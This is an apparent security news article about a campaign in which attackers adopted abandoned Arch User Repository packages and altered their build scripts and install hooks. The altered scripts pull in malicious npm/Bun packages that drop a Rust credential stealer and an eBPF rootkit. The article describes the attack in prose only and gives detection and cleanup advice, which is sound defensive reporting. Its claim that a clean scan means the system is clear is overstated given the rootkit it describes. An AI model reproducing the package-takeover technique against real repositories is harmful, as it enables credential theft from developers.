Atomic Arch: How 1,500 AUR Packages Got Hijacked Without an Exploit

The Arch Linux community spotted a massive anomaly in the Arch User Repository around June 11. Security researchers uncovered a large-scale supply chain attack. Threat actors had hijacked over 1,500 community packages. The operation required zero zero-day vulnerabilities. The attackers weaponized the community trust model by adopting abandoned projects.

The Attack Path

The campaign targeted orphaned packages in the AUR. Maintainers frequently leave projects when they change jobs or lose interest. The AUR allows other users to request ownership of these abandoned packages. The attackers submitted adoption requests, and the governance process approved them. The new owners kept the project history and existing user base intact.

They did not change the software source code itself. They modified the PKGBUILD instructions and install hooks. When a developer ran an AUR helper to update their system, the malicious build script executed with elevated privileges. The script injected a command to install a Node package named atomic-lockfile or a Bun package named js-digest. This triggered a preinstall hook that dropped a native Linux executable.

The Payload

The payload is a Rust-based credential stealer. The malware hunts for high-value targets on developer workstations and continuous integration runners. It extracts SSH artifacts, browser cookies, GitHub tokens, and HashiCorp Vault credentials. The goal is to steal the keys that unlock enterprise infrastructure.

The malware deployed an eBPF rootkit on systems where it gained root access. The extended Berkeley Packet Filter technology allows code to run inside the Linux kernel. The rootkit hid the malware processes, file activity, and network sockets from standard monitoring tools. Uninstalling the infected AUR package later does not clean the system. The rootkit maintains persistent access.

The Fallout

Arch Linux suspended new account registrations on the AUR to contain the spread. The community quickly rallied to build diagnostic scripts to help users assess their risk. Developers can scan their systems using the aur-malware-check tool available at https://github.com/lenucksi/aur-malware-check. If the tool reports no indicators of compromise, your system is clear.

Even a negative result requires careful interpretation. A community discussion on Reddit (https://www.reddit.com/r/archlinux/comments/1u6soq7/got_a_critical_verdict_from_atomicarchcheck_heres/) highlighted that the scanner targets cached build files in directories like ~/.cache/yay/. An old install hook flagged as critical might simply be a remnant of a package installed and removed long before the attack window of June 10–12. Checking the pacman logs can confirm whether a flagged package was active during the breach.

For systems where the scanner confirms an active infection, rebuilding the host from clean media and rotating all exposed credentials remains the necessary path forward. For everyone else, verifying cache histories and running the checker provides a reliable way to confirm safety without jumping straight to system wipes.

The Atomic Arch campaign shows that threat actors no longer need to convince developers to install new, untrusted software. They just take over the projects developers already trust.